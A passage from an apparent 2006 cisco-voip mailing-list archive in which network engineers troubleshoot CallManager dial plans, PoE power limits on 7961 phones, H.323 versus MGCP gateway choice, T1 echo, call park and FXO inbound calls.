don't support modems.


________________________________

	From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Israel Lang
	Sent: Thursday, February 02, 2006 4:18 PM
	To: cisco-voip at puck.nether.net
	Subject: [cisco-voip] Postage machine
	
	
	Anyone ever have the opportunity to get a postage machine
working through a FXS port or ATA? If so any "magic" that you can share
with me?
	
	Thanks.
	
	-- 
	Have a great day!!!!!!!!!!
	zephy316_gmail.com 
	
	Replace the _ with an @ symbol 

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From jgrace at digitelusa.net  Thu Feb  2 19:17:00 2006
From: jgrace at digitelusa.net (James Grace)
Date: Thu Feb  2 19:17:12 2006
Subject: [cisco-voip] 7961 are all dyIng 
Message-ID: <SUWCL19IP01hfUblH1Y00008bb5@smtpoutcl19.wirelesssyncvzw.net>

We deployed all 7961 and 7941 and ever week They die they go down and do not power Back up 
And now some of These phones lights Just flashes 

From Leonard at isccorp.net  Thu Feb  2 19:24:46 2006
From: Leonard at isccorp.net (Leonard Lane)
Date: Thu Feb  2 19:25:03 2006
Subject: [cisco-voip] Postage machine
Message-ID: <D31FF984A9880B44A118184FFD9E7C02D84E24@iscmail.isccorp.net>

The best thing I can say about "modem" type devices that I find is to
use fax and or modem passthrough.  And if the devices plugs into a FXS
port, turn off echo cancel, VAD, and verify G.711 codec is used,
although the passthrough protocol should do this for you.

 

 

 

 

Leonard Lane

Network Engineer

CCNA, CCDA, CCVP, CCIE #14680, Voice

 

email: leonard at isccorp.net <mailto:pat at isccorp.net> 

support: 866.622.6722

www.isccorp.net <http://www.isccorp.net/> 

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Carter, Bill
Sent: Thursday, February 02, 2006 4:08 PM
To: Israel Lang; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Postage machine

 

Not a postage machine, but I have gotten a time clock to work on a FXS
port.  These types of devices should be thought of as modems, and ATAs
don't support modems.

	 

	
________________________________


	From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Israel Lang
	Sent: Thursday, February 02, 2006 4:18 PM
	To: cisco-voip at puck.nether.net
	Subject: [cisco-voip] Postage machine

	Anyone ever have the opportunity to get a postage machine
working through a FXS port or ATA? If so any "magic" that you can share
with me?
	
	Thanks.
	
	-- 
	Have a great day!!!!!!!!!!
	zephy316_gmail.com 
	
	Replace the _ with an @ symbol 

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From zephy316 at gmail.com  Thu Feb  2 19:51:31 2006
From: zephy316 at gmail.com (Israel Lang)
Date: Thu Feb  2 19:51:35 2006
Subject: [cisco-voip] 7961 are all dyIng
In-Reply-To: <SUWCL19IP01hfUblH1Y00008bb5@smtpoutcl19.wirelesssyncvzw.net>
References: <SUWCL19IP01hfUblH1Y00008bb5@smtpoutcl19.wirelesssyncvzw.net>
Message-ID: <91e236d30602021651x7df3ab6dy1ca3fcf459c418ea@mail.gmail.com>

So when did digitel start selling Cisco CM systems?

Anything good to say about Cisco CM systems?

On 3 Feb 2006 00:17:00 GMT, James Grace <jgrace at digitelusa.net> wrote:
>
> We deployed all 7961 and 7941 and ever week They die they go down and do
> not power Back up
> And now some of These phones lights Just flashes
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>



--
Have a great day!!!!!!!!!!
zephy316_gmail.com

Replace the _ with an @ symbol
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From lzaichkowsky at cyracom.com  Thu Feb  2 19:52:51 2006
From: lzaichkowsky at cyracom.com (Lucas Zaichkowsky)
Date: Thu Feb  2 19:52:39 2006
Subject: [cisco-voip] Translation Patterns
Message-ID: <100A3AA0CA6D334ABBC0D53E9BDB7DA301207D94@tucexh00.cyracom.com>

Our old dial plan was just extensions. None of the mapped to a DID. The
new dial-plan has DIDs that map directly to the extension. That's why we
had to change extensions, but at the same time, provide support for the
old extensions.

 

 

Lucas Zaichkowsky

System Administrator

CyraCom

(520) 745-9447 ext. 1666

(520) 745-9022 fax

www.cyracom.com

________________________________

From: Brian Henry [mailto:Brian.Henry at apptis.com] 
Sent: Thursday, February 02, 2006 10:22 AM
To: Lucas Zaichkowsky; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Translation Patterns

 

You could do this for an example.

 

This just handles the 2XX to 1XXX coming from the PSTN

Partition:

create an inbound translation partition like - "p-inbndtrans"

Calling Search Space:

create a calling search space like "inbndgw-css" - Inbound Gateway
Calling Search Space

contains p-inbndtrans (I do not know if you have anything else like CER,
etc..)

create a calling search space like "inbndtrans-css" - Inbound
Translation Calling Search Space

p-phones

Your phones calling search space "devpstn-css" should contain

p-phones

(There could be more like an p-outbndtrans, etc..)

p-site(x)pstn

 

Translation Pattern

Pattern: 2XX

Partition: p-inbnd

Numbering Plan - NANP

Calling Search Space - inbndtrans-css

 

Called Party Transformation : 11XX (Since you only have "99"
possibilities from your old dial plan you can only match up one-to-one
unless you create a hunt list that lets say 99 points to but has
extensions 1201, 1355, 1455, 1878 a part of, let me know if I am making
any since.

 

I guess I am little confused in that if you changed your dial plan and
your telco is sending you 4-digits that match your "new" DN's then why
you would need this I do not know.

 

Brian

________________________________

From: Lucas Zaichkowsky [mailto:lzaichkowsky at cyracom.com]
Sent: Thu 2/2/2006 11:53 AM
To: cisco-voip at puck.nether.net
Cc: Brian Henry
Subject: RE: [cisco-voip] Translation Patterns

We're using MGCP. The translation patters are in use in CCM 4.0. For
example, there's a set of them that translate our old dial plan of 2XX
to our new dial plan of 1XXX. So if I try dialing a local number that
starts with 285, it sees the translation pattern for 285 and calls 1653.
I also have about a dozen that translate from one 1XXX extension to
another.

 

Lucas Zaichkowsky

System Administrator

CyraCom

(520) 745-9447 ext. 1666

(520) 745-9022 fax

www.cyracom.com

________________________________

From: Brian Henry [mailto:Brian.Henry at apptis.com] 
Sent: Monday, January 30, 2006 10:20 AM
To: Lucas Zaichkowsky; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Translation Patterns

 

Tell me how you are using translation patterns? Incoming/Outgoing

Are you using MGCP or H323?

 

Brian

 

________________________________

From: cisco-voip-bounces at puck.nether.net on behalf of Lucas Zaichkowsky
Sent: Mon 1/30/2006 12:15 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Translation Patterns

        I recently installed the VIC for analog lines (EVM-HD-8FXS/DID)
and have it configured in the gateway configuration. I created a "No
Prefix" calling search space with "No prefix" partitions for reaching
local, international, long distance, and toll free numbers. My goal is
to make these lines just like the analog lines we have coming in from
POTS.

        The issue that I'm having is with translation patterns. How can
I make it so these ports don't use them?

Lucas Zaichkowsky
System Administrator
CyraCom
(520) 745-9447 ext. 1666
(520) 745-9022 fax
www.cyracom.com

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

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From Brian.Henry at apptis.com  Thu Feb  2 20:35:38 2006
From: Brian.Henry at apptis.com (Brian Henry)
Date: Thu Feb  2 20:40:13 2006
Subject: [cisco-voip] 7961 are all dyIng
Message-ID: <2F09B2162CCDEA4EA05C089B24FBC2BC02838088@CH-EXCH-02.intelltech.apptis.inc>

What version of CCM are you running?
What phone load are you using?
What does your basic network look like that this is happening in? L2 STP Rapid STTP or L3 to the edge?
 
Every system has some bug or the other but I have worked with CCM since 2.0 and I can tell you that 4.1(x) is way better for which I have not had many problems at all with.
Just remember there are a lot of moving parts in CCM that all have to place nicely together and some of the under lying services are all not written by the same team, that I am aware of.
 
Brian

________________________________

From: cisco-voip-bounces at puck.nether.net on behalf of Israel Lang
Sent: Thu 2/2/2006 7:51 PM
To: James Grace
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] 7961 are all dyIng


So when did digitel start selling Cisco CM systems?

Anything good to say about Cisco CM systems?


On 3 Feb 2006 00:17:00 GMT, James Grace < jgrace at digitelusa.net <mailto:jgrace at digitelusa.net> > wrote: 

	We deployed all 7961 and 7941 and ever week They die they go down and do not power Back up 
	And now some of These phones lights Just flashes
	_______________________________________________
	cisco-voip mailing list
	cisco-voip at puck.nether.net
	https://puck.nether.net/mailman/listinfo/cisco-voip
	




-- 
Have a great day!!!!!!!!!!
zephy316_gmail.com

Replace the _ with an @ symbol 
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From neil at i-archetype.com  Fri Feb  3 00:16:37 2006
From: neil at i-archetype.com (Neil Barnett)
Date: Fri Feb  3 00:17:00 2006
Subject: [cisco-voip] H.323 vs. MGCP Gateway Protocol Selection
Message-ID: <000001c62881$024534e0$b205cc0a@iArchetype1>

Just curious, would like to determine from the Group which Protocol (H.323
vs. MGCP) represents 

An optimal gateway protocol selection in a basic centralized CallManager
Setup (1 Small Cluster) with 4 2801's (1 PRI, Per 2801) 

Communicating to the PSTN. No IP WAN Voice Connectivity will exist within
this network in the near future, However there 

Will be an IPCC Express Deployment soon.  

 

It seems to be better documentation concerning utilization of MGCP as a
primary gateway protocol and H.323 as a backup, existing 

PBX is a Nortel. Also what are the options available, on a telephony
signaling level to achieve redundancy across multiple PRI's. (Other than
HSRP) 

 

Thanks, New to the list. 

 

Neil J. Barnett 

Chief Technical Officer 

Internetwork Archetype Incorporated 

600 W. Van Buren Ave. 

Suite 908 

Chicago, Illinois 60607 

Office: 312.831.4651

Fax:312.831.1580

Mobile: 630.639.0194 

 

IMPORTANT NOTICE: This message is intended only for the use of the
individual or entity to which it is addressed. The message may contain
information that is privileged, confidential and exempt from disclosure
under applicable law. If the reader of this message is not the intended
recipient, or the employee or agent responsible for delivering the message
to the intended recipient, you are notified that any dissemination,
distribution or copying of this communication is strictly prohibited. If you
have received this communication in error, please notify Internetwork
Archetype immediately by email at postmaster at i-archetype.com.com. 

 

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From baryonyx5 at gmail.com  Fri Feb  3 00:56:13 2006
From: baryonyx5 at gmail.com (Kris Seraphine)
Date: Fri Feb  3 00:56:19 2006
Subject: [cisco-voip] Troubleshooting echo T1 CAS E&M
In-Reply-To: <000001c6273a$105ec2f0$4002a8c0@Test1>
References: <a749d0620601311750x29191276x7a9e834c8b787061@mail.gmail.com>
	<000001c6273a$105ec2f0$4002a8c0@Test1>
Message-ID: <a749d0620602022156oe931e8fy695aff837ead80c6@mail.gmail.com>

Sure, the nework-clock-participate and network-clock-select commands do what
the tdm clock commands did for the 1760's and MRPs.

they are supported on 2800's with a VWIC-MFT card.

On 2/1/06, Jose Robles <jose.robles at netxar.com> wrote:
>
>  Hello Kris. Are this commands supported in 2800 routers? I know they are
> in the 1760 routers with the tdm clock etc?
>
>
>
>
>
>
>
>
>
>
>
>
>
> -----Original Message-----
> *From:* Kris Seraphine [mailto:baryonyx5 at gmail.com]
> *Sent:* Tuesday, January 31, 2006 9:50 PM
> *To:* Jose Robles
> *Subject:* Re: [cisco-voip] Troubleshooting echo T1 CAS E&M
>
>
>
> the first thing you should do is verify the clocking is configured
> correctly for the T1 controller.  The network-clock-select and
> network-clock-participate commands need to be configured correctly.
>
> You can also try tuning the input gain and output attenuation.  I usually
> start small by setting the input gain to -1 and output attenuation to 1.
>
>  On 1/31/06, *Jose Robles* <jose.robles at netxar.com> wrote:
>
> We have a 2811 router with a T1 CAS E&M wink to the PSTN. People are
> complaining they hear echo when they make a call(they hear themselves). I
> played with the echo-cancel coverage command, the echo suppressor and the
> echo-cancel erl worst-case commands using all existing and imaginable
> values. I've read of the thl tone sweep tool to calculate the impedance
> setting in the line but this tool doesn't work with T1. Ill need a hardware
> for echo cancellation? I'm sending part of a show call active voice:
>
>
>
>
>
> GENERIC:
>
> SetupTime=1543321430 ms
>
> Index=1
>
> PeerAddress=17878611407
>
> PeerSubAddress=
>
> PeerId=1
>
> PeerIfIndex=36
>
> LogicalIfIndex=35
>
> ConnectTime=1543334890 ms
>
> CallDuration=00:01:11 sec
>
> CallState=4
>
> CallOrigin=1
>
> ChargedUnits=0
>
> InfoType=speech
>
> TransmitPackets=4124
>
> TransmitBytes=692832
>
> ReceivePackets=4268
>
> ReceiveBytes=682880
>
> TELE:
>
> ConnectionId=[0x61053E4A 0x8EA011DA 0xA5E79004 0x1FF0B5C6]
>
> IncomingConnectionId=[0x61053E4A 0x8EA011DA 0xA5E79004 0x1FF0B5C6]
>
> CallID=24620
>
> TxDuration=85350 ms
>
> VoiceTxDuration=85350 ms
>
> FaxTxDuration=0 ms
>
> CoderTypeRate=g711ulaw
>
> NoiseLevel=-40
>
> ACOMLevel=15
>
> OutSignalLevel=-67
>
> InSignalLevel=-6
>
> InfoActivity=1
>
> ERLLevel=15
>
> EchoCancellerMaxReflector=9
>
> SessionTarget=
>
> ImgPages=0
>
> CallerName=
>
> CallerIDBlocked=False
>
> OriginalCallingNumber=
>
> OriginalCallingOctet=0x0
>
> OriginalCalledNumber=
>
> OriginalCalledOctet=0x0
>
> OriginalRedirectCalledNumber=
>
> OriginalRedirectCalledOctet=0x0
>
> TranslatedCallingNumber=
>
> TranslatedCallingOctet=0x0
>
> TranslatedCalledNumber=17878611407
>
> TranslatedCalledOctet=0x0
>
> TranslatedRedirectCalledNumber=
>
> TranslatedRedirectCalledOctet=0x0
>
> GwOutpulsedCalledNumber=17878611407
>
> GwOutpulsedCalledOctet3=0x0
>
> DSPIdentifier=0/1:1
>
>
>
>
>
>
>
>
>
>
>
>
>
> Jose A. Robles
> Sr. Network Consultant
> CCNP, CCDP
> CQS Routing and Lan Switching Specialist
> Netxar Technologies, Inc. - www.netxar.com
> 17 Ponce Street
> San Juan, PR 00917
> ph:  +1 787 765 0058  x2015
> fax: +1 787 756 5362
> cel: +1 787 547-0149
> email jose.robles at netxar.com
>
>
>
>
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>
>
> --
> kris seraphine
>



--
kris seraphine
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From wsisk at cisco.com  Fri Feb  3 02:17:27 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Fri Feb  3 02:17:45 2006
Subject: [cisco-voip] Call Park Issue due to subscriber failing
In-Reply-To: <FDEEDC07A7DA6E41BCB819487E7C85AE6D691C@CSEXCH01.charles-stanley.co.uk>
References: <FDEEDC07A7DA6E41BCB819487E7C85AE6D691C@CSEXCH01.charles-stanley.co.uk>
Message-ID: <A86C5628-BC95-4785-AABD-AB22A2387429@cisco.com>

James,

H323 is a bit of a special case.  It is a peer to peer protocol and  
does not include any registration process unless you're using a  
gatekeeper.

For h323 the call park number would be selected from the node that  
received the h225 SETUP message from the h323 gateway.  place an  
inbound call, telnet to the gateway and look at 'sh call active  
voice' and check the call signal address.  this will tell you which  
CM is processing the call.  make sure the dial-peers have the  
appropriate preference statements and very connectivity to port 1720  
of the callmanager server (telnet from router to CM ip at port 1720.  
you will be should be disconnected pretty quickly as you're not  
presenting valid h225 data, but should be adequate to verify TCP:1720  
connectivity to your 1st preference CM server.

just to clarify - if 1 party calls another party at that remote site  
directly (internal 4/6/7 digit dial) and parks the call, does the  
call park correctly and in the range that you expect?

/Wes

On Feb 2, 2006, at 1:37 PM, James Dust wrote:

Hi Wes,

We have still got a branch office that has this issue, I have reset  
the H323 gateway as you stated but when a call is parked in the  
office it either picks the 1st call park number from the subscriber  
the phone is subscribed to or the 1st park number configured for the  
branch on the publisher?

Any further ideas?

Rgds.

James

From: cisco-voip-bounces at puck.nether.net [mailto:cisco-voip- 
bounces at puck.nether.net] On Behalf Of Wes Sisk
Sent: 02 February 2006 01:51
To: Nick Kassel
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Call Park Issue due to subscriber failing

Call Park numbers are per server and the server that is used is the  
server that the call originated on.  So in the case:

PSTN--(PRI)--MGCPGw--(MGCP)--CM1--(SDL)--CM2--IPPhone

When the IPPhone presses PARK, a park number from the CM1 block of  
park numbers is allocated.

When your ipphones re-registered back to CM2, did your MGCP gateway  
rehome back to CM2 as well?

/Wes

On Feb 1, 2006, at 6:57 AM, Nick Kassel wrote:

Yesterday evening we had a hardware failure with one of our  
subscribers, this particular sub has all of our remote sites  
registered to it, it was down for about 5 hours and in the mean time  
we had all phones working off another subscriber, once we had the  
subscriber back up and running, all appeared to be fine. But we now  
have an issue with call park, each site has call park numbers  
associated to each call manager and if they park a call they get a  
call park number but this does not appear on the display for a few  
seconds and they are unable to retrieve that call by dialling the  
park number they get the call can not be completed prompt. Any one  
come across this before?








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The information contained in this e-mail is strictly confidential,  
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You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************ 
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Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of  
Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member  
of the
London Stock Exchange, International Securities Markets Association,  
and The London International Financial Futures &
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This footnote also confirms that this email message has been swept by  
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From JKing at thegranitegroup.com  Fri Feb  3 07:01:11 2006
From: JKing at thegranitegroup.com (King, Jesse)
Date: Fri Feb  3 07:01:20 2006
Subject: [cisco-voip] BARS Error
Message-ID: <80FDD0062521CE4084591182C4DDB6BE0110875B@papaya.thegranitegroup.com>

Hi All -
 
I see this error in my BARS log, but can't find any reference to it in
the errors section of the BARS documentation. Anyone know what this is
or point me in the right direction?
 
Thanks.
 
Jesse
02:00:51 AM] Backing up URL Services Page. 	
[02:00:51 AM] Failed to copy URL Services page from remote machine
x.x.x.x. Files can be backed up only from backing up server. Backup URL
Services page manually.	
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From Scott.Voll at wesd.org  Fri Feb  3 07:39:29 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Fri Feb  3 07:39:41 2006
Subject: [cisco-voip] CSA for IPCCx
Message-ID: <D713462ED535184D830F6F6301753E7E01BE126C@VISHNU.wesd.org>

Does anyone know which stand alone CSA client goes on IPCCx 4.0.1?

 

Links would be great, THANKS

 

Scott

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From Scott.Voll at wesd.org  Fri Feb  3 07:56:20 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Fri Feb  3 07:56:29 2006
Subject: [cisco-voip] H.323 vs. MGCP Gateway Protocol Selection
Message-ID: <D713462ED535184D830F6F6301753E7E01BE126D@VISHNU.wesd.org>

I comes down to what kinds of things you want and don't want to do.  

 

MGCP is easy to manage and use.

 

H323 has more configuration and management, but since it's older,
supports more options.

 

Both can get you redundancy that your looking for.  both through RL and
RG's 

 

As far as the Nortel, I have not used it so you might get a more
definitive answer that way.  Most PBX integrations are Qsig PRI that
I've seen.

 

Scott 

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Neil Barnett
Sent: Thursday, February 02, 2006 9:17 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] H.323 vs. MGCP Gateway Protocol Selection

 

Just curious, would like to determine from the Group which Protocol
(H.323 vs. MGCP) represents 

An optimal gateway protocol selection in a basic centralized CallManager
Setup (1 Small Cluster) with 4 2801's (1 PRI, Per 2801) 

Communicating to the PSTN. No IP WAN Voice Connectivity will exist
within this network in the near future, However there 

Will be an IPCC Express Deployment soon.  

 

It seems to be better documentation concerning utilization of MGCP as a
primary gateway protocol and H.323 as a backup, existing 

PBX is a Nortel. Also what are the options available, on a telephony
signaling level to achieve redundancy across multiple PRI's. (Other than
HSRP) 

 

Thanks, New to the list. 

 

Neil J. Barnett 

Chief Technical Officer 

Internetwork Archetype Incorporated 

600 W. Van Buren Ave. 

Suite 908 

Chicago, Illinois 60607 

Office: 312.831.4651

Fax:312.831.1580

Mobile: 630.639.0194 

 

IMPORTANT NOTICE: This message is intended only for the use of the
individual or entity to which it is addressed. The message may contain
information that is privileged, confidential and exempt from disclosure
under applicable law. If the reader of this message is not the intended
recipient, or the employee or agent responsible for delivering the
message to the intended recipient, you are notified that any
dissemination, distribution or copying of this communication is strictly
prohibited. If you have received this communication in error, please
notify Internetwork Archetype immediately by email at
postmaster at i-archetype.com.com. 

 

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From Scott.Voll at wesd.org  Fri Feb  3 08:30:45 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Fri Feb  3 08:30:54 2006
Subject: AW[cisco-voip] CSA for IPCCx
Message-ID: <D713462ED535184D830F6F6301753E7E01BE126E@VISHNU.wesd.org>

http://www.cisco.com/univercd/cc/td/doc/product/voice/sw_ap_to/crscomtx.
pdf

 

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Voll, Scott
Sent: Friday, February 03, 2006 4:39 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] CSA for IPCCx

 

Does anyone know which stand alone CSA client goes on IPCCx 4.0.1?

 

Links would be great, THANKS

 

Scott

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From pwalenta at wi.rr.com  Fri Feb  3 08:36:37 2006
From: pwalenta at wi.rr.com (Philip Walenta)
Date: Fri Feb  3 08:36:52 2006
Subject: [cisco-voip] H.323 vs. MGCP Gateway Protocol Selection
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE126D@VISHNU.wesd.org>
Message-ID: <200602031336.k13DaagC021301@ms-smtp-04.rdc-kc.rr.com>

Hey Scott, consider yourself fortunate that the integrations you've seen
have mostly been QSIG.
 
I've done at least 40 integrations, and a whopping 3 of them have been QSIG.


  _____  

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Voll, Scott
Sent: Friday, February 03, 2006 6:56 AM
To: neil at i-archetype.com; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] H.323 vs. MGCP Gateway Protocol Selection



I comes down to what kinds of things you want and don't want to do.  

 

MGCP is easy to manage and use.

 

H323 has more configuration and management, but since it's older, supports
more options.

 

Both can get you redundancy that your looking for.  both through RL and RG's


 

As far as the Nortel, I have not used it so you might get a more definitive
answer that way.  Most PBX integrations are Qsig PRI that I've seen.

 

Scott 

 


  _____  


From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Neil Barnett
Sent: Thursday, February 02, 2006 9:17 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] H.323 vs. MGCP Gateway Protocol Selection

 

Just curious, would like to determine from the Group which Protocol (H.323
vs. MGCP) represents 

An optimal gateway protocol selection in a basic centralized CallManager
Setup (1 Small Cluster) with 4 2801's (1 PRI, Per 2801) 

Communicating to the PSTN. No IP WAN Voice Connectivity will exist within
this network in the near future, However there 

Will be an IPCC Express Deployment soon.  

 

It seems to be better documentation concerning utilization of MGCP as a
primary gateway protocol and H.323 as a backup, existing 

PBX is a Nortel. Also what are the options available, on a telephony
signaling level to achieve redundancy across multiple PRI's. (Other than
HSRP) 

 

Thanks, New to the list. 

 

Neil J. Barnett 

Chief Technical Officer 

Internetwork Archetype Incorporated 

600 W. Van Buren Ave. 

Suite 908 

Chicago, Illinois 60607 

Office: 312.831.4651

Fax:312.831.1580

Mobile: 630.639.0194 

 

IMPORTANT NOTICE: This message is intended only for the use of the
individual or entity to which it is addressed. The message may contain
information that is privileged, confidential and exempt from disclosure
under applicable law. If the reader of this message is not the intended
recipient, or the employee or agent responsible for delivering the message
to the intended recipient, you are notified that any dissemination,
distribution or copying of this communication is strictly prohibited. If you
have received this communication in error, please notify Internetwork
Archetype immediately by email at postmaster at i-archetype.com.com. 

 

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From tim.reimers at asheville.k12.nc.us  Fri Feb  3 08:47:25 2006
From: tim.reimers at asheville.k12.nc.us (Tim Reimers)
Date: Fri Feb  3 08:47:34 2006
Subject: [cisco-voip] 7961 are all dyIng
Message-ID: <050944EE48FF384F9C663F7048C47DA702E1A13F@webmail.asheville.k12.nc.us>

That sounds like a power problem with the switches that power the
phones.
 
We had a similar problem on a 6509 chassis, with about 70 phones
attached to two 48port powered blades.
 
Here's what happened:
 
 
The rated 'wattage' output available on the Cisco 6509 is only available
when running 220v
They are 3000watt power supplies, according to Cisco-  that is true--
But they do not provide that full 3000 watts if you're running at 110v.
We only had something like 1100 watts of power available from the power
supply---
the phones needed 1250 - That lack of wattage was enough to destabilize
the phones.
 
After running into that, I did some research-
Apparently, in the IT industry, it is VERY common to state wattages
(Dell servers, IBM servers, HP switches, Nortel switches)
all state a rated wattage output --- but they only deliver that wattage
at 220volts --- NOT  110v.
 
James, what you're experiencing sounds very much like a 'low power'
issue-- 
whatever switches you are using to run the phones may be overloaded for
some reason.
 
Cisco's 1U Catalyst switches do fine - the 3560 switches are able to
power a phone connected on every port using 110v.
 
Another possibility is that the power coming into the switch power
supply is low-- if that's the case, the switch isn't going to be able to
provide enough power to run the phones.
 
Same would be true even if you had bricks connected to strips in that
one wiring closet-- if the voltage is low coming to that wiring closet,
the bricks would all be fighting to get enough current for the phones...
 
Tim

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Brian Henry
Sent: Thursday, February 02, 2006 8:36 PM
To: Israel Lang; James Grace
Cc: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] 7961 are all dyIng


What version of CCM are you running?
What phone load are you using?
What does your basic network look like that this is happening in? L2 STP
Rapid STTP or L3 to the edge?
 
Every system has some bug or the other but I have worked with CCM since
2.0 and I can tell you that 4.1(x) is way better for which I have not
had many problems at all with.
Just remember there are a lot of moving parts in CCM that all have to
place nicely together and some of the under lying services are all not
written by the same team, that I am aware of.
 
Brian

________________________________

From: cisco-voip-bounces at puck.nether.net on behalf of Israel Lang
Sent: Thu 2/2/2006 7:51 PM
To: James Grace
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] 7961 are all dyIng


So when did digitel start selling Cisco CM systems?

Anything good to say about Cisco CM systems?


On 3 Feb 2006 00:17:00 GMT, James Grace < jgrace at digitelusa.net
<mailto:jgrace at digitelusa.net> > wrote: 

	We deployed all 7961 and 7941 and ever week They die they go
down and do not power Back up 
	And now some of These phones lights Just flashes
	_______________________________________________
	cisco-voip mailing list
	cisco-voip at puck.nether.net
	https://puck.nether.net/mailman/listinfo/cisco-voip
	




-- 
Have a great day!!!!!!!!!!
zephy316_gmail.com

Replace the _ with an @ symbol 
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From pwalenta at wi.rr.com  Fri Feb  3 09:01:41 2006
From: pwalenta at wi.rr.com (Philip Walenta)
Date: Fri Feb  3 09:01:45 2006
Subject: [cisco-voip] 7961 are all dyIng
In-Reply-To: <SUWCL19IP01hfUblH1Y00008bb5@smtpoutcl19.wirelesssyncvzw.net>
Message-ID: <200602031401.k13E1fmB002074@ms-smtp-04.rdc-kc.rr.com>

It is likely that this could be a power draw issue.

The standard 7960 pulls about 6.3 watts.  

The 7961's pull 12.95 watts, which is double the 7960.  

If your switches don't have the appropriate amount of power, things like
this can happen if all the phones re 7961's.  Try unplugging a few and see
if the rest come back online.  You can also do a "show power" command on
most switches to see what's being drawn, what's left etc. 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of James Grace
Sent: Thursday, February 02, 2006 6:17 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] 7961 are all dyIng

We deployed all 7961 and 7941 and ever week They die they go down and do not
power Back up And now some of These phones lights Just flashes
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From james.dust at charles-stanley.co.uk  Fri Feb  3 09:10:49 2006
From: james.dust at charles-stanley.co.uk (James Dust)
Date: Fri Feb  3 09:11:00 2006
Subject: [cisco-voip] Problem with inbound calls on 4 port FXO Card
Message-ID: <FDEEDC07A7DA6E41BCB819487E7C85AE6D695A@CSEXCH01.charles-stanley.co.uk>

We have a problem with inbound calls on an 4 port FXO card in a H323
gateway for one of our remote sites, when dialing inbound to the branch
a caller will hear a ring twice and then the line will appear to answer
but gets no further.
 
The branch has two analogue lines for inbound and outbound calls.
 
The debug from the router shows that the dial peer is being matched.
 
Here is the voice port configuration and dial peers.
 
voice-port 1/0
 output attenuation -4
 cptone GB
 connection plar 86820
 description Wimborne Main Line
!
voice-port 1/1
!
voice-port 1/2
!
voice-port 1/3
!
no mgcp package-capability res-package
no mgcp package-capability fxr-package
no mgcp timer receive-rtcp
!
!
!
!
dial-peer voice 1 voip
 preference 1
 destination-pattern 86820
 progress_ind setup enable 3
 session target ipv4:172.30.0.X
 dtmf-relay h245-alphanumeric
 no vad
!
dial-peer voice 20 pots
 preference 9
 destination-pattern 9.T
 port 1/0
 
The three phones in the branch all share the DN 86820 
 
Does anyone else have a similar setup, if so what configuartion should I
have on call manager?
 
James
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************************************************************************************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of the
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From Nick.Kassel at Charles-Stanley.co.uk  Fri Feb  3 09:41:17 2006
From: Nick.Kassel at Charles-Stanley.co.uk (Nick Kassel)
Date: Fri Feb  3 09:41:29 2006
Subject: [cisco-voip] Group FXO ports for dial-peers
Message-ID: <253FAE7A06B11B49A3A29770B2B8BAFC6481CF@CSEXCH01.charles-stanley.co.uk>

Hi Kris

 

We are having a little trouble with incoming calls, how do you do this
in your config and on the call manager.

 

Regards

 

Nick  

 

________________________________

From: Kris Seraphine [mailto:baryonyx5 at gmail.com] 
Sent: Wednesday, January 11, 2006 8:36 PM
To: Nick Kassel
Subject: Re: [cisco-voip] Group FXO ports for dial-peers

 

Yes, this site has 12 analog lines I'll be disconnecting from their old
PBX and connecting to 3 FXO modules in the router.  

On 1/10/06, Nick Kassel < Nick.Kassel at charles-stanley.co.uk> wrote:

Hi Kris 

 

Do you only use analog lines for the PSTN access in this site and if so
are you just using FXS/FXO cards for this, I ask because I have a remote
site to install soon of only 3 users, they currently have analog lines
